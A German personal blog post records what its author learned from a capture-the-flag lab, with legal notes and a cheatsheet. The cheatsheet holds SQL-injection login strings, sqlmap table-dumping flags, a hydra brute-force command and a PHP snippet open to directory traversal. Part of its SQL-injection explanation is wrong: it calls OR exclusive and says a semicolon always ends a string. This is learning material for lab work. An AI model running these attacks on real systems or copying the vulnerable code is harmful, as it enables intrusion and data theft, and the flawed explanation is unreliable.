capture the flag

capture the flag ist ein Event, bei dem man versucht in computersysteme einzudringen und Schwachstellen auszunutzen, um die Flag (eine Beute) zu bekommen.

Rechtslage

ctf ist illegal. Natürlich nicht, wenn man eigene Systeme angreift, oder man die ausdrückliche Erlaubnis anderer hat ihre Systeme anzugreifen.

Die meisten Strategien, die angewand werden verstoßen gegen mehrere Artikel (StGB §202a-c(Ausspähen von Daten), StGB §202d(Datenhehlerei), StGB §303a,b(Datenveränderung, Computersabotage)). Der Verstoß wird mit mehreren Jahren Freiheitsstrafe geahndet.

Angriffsartren

  • Forensics
    • das Auslesen von eigentlich unsichtbaren Daten
      • Metadaten
      • Netzwerktraffic
    • Steganographie
  • Reverse engeneering
    • Decompiling
  • Web exploits
    • code injection
    • remote code execution
    • subdomain scanner
    • cross site scripting
    • server request exploiting
  • cryptografie
    • hashing
    • cracking
    • enoding
    • chiffrieren

cheatsheet

Aufbau

Uns wurde eine KaliVM zur verfügung gestellt, auf der ein Docker container lief, den wir dann auf die angegebenen Art und Weisen angreifen sollen.

Web-path-scanner

Ein Programm, welches alle möglichen unterordner einer Domain scannt.

Tools

Domains, auf die man achten sollte:

  • Fehlerdateien -> Versionen des Programms -> mögliche Schwachtellen
  • Changelogs -> überprüfung auf (fehlende) Patches für Schwachstellen
  • php,js Dateien -> Quellcode -> Bugs
  • php,js -> Datenbank Zugang
  • robots.txt (eine Datei, die Suchmaschinen sagt, welche dirs nicht geindext werden sollen) -> können interessant sein

Dirsearch

dirsearch -u [domain] -t [threads] -e [Dateiendungen]


SQL injection

  1. Passwort: ‘OR 1=1;
  2. Passwort: ‘OR 1=1 OR 1=’
  3. Passwort ‘UNION select * from users;

1=1 ist immer wahr, daher wird die Gesamtaussage als true evaluiert. Das OR ist ein exklusives oder, daher reicht es, wenn nur eine Aussage (also die 1=1) wahr ist. Es spielt keiner Rolle, ob die Hochkommata geschlossen werden, denn ein ; beendet den String immer, unabhänging von den Anführungszeichen.

sqlmap

sqlmap --url [url/file] --method POST --data "username=admin&password=admin" -p "password"

Skeletieren von Daten

  • tables zeigt die Tabellen in der Datenbank
  • -T users --dump erstellt eine Kopie der Tabelle “users”
  • --dump erstellt eine Kopie aller Tabellen

level [1,2,3] die “Brutalität”, mit der gesucht wird. Eine höhere Zahl sendet mehr Versuche an den Server. Daher ist die Wahrscheinlichkeit, dass etwas gefunden wird höher. Aber auch die Gefahr entdeckt zu werden wird größer.

Directory traversal

Inhalte ausßerhalb des Webroot lesen.


<?php
  $fileToLoad = '404.png';
  if (isset($_GET['filename'])) {
      $fileToLoad = $_GET['filename'];
    }
    readfile('./' . $fileToLoad)
?>

Steganoraphie

Versteckt Übermittlung von Daten. Hier zum Beispiel durch das “least important bit” in den RGB codes von Bildern.

findest du was?

Encoding


Brute-force

Hydra

hydra -vV (verbose) -I (ingore exit arrow) -f (stop searching when result is found (the first result)) -t 5 (number of parallel tasks) -p password -L /usr/share/wordlist/rockyou.txt malicious.xd -S 8080 http-post-form "/login.php:username=^USER^&password=^PASS^:Login failed"

-l login or -L FILE

-p PASS or -P FILE


52posts

Dieser Beitrag ist Teil meines Plans, in 2023 jede Woche einen Post zu erstellen, mit Dingen, die ich gelernt habe. (Das sind dann 52 Posts).

#52posts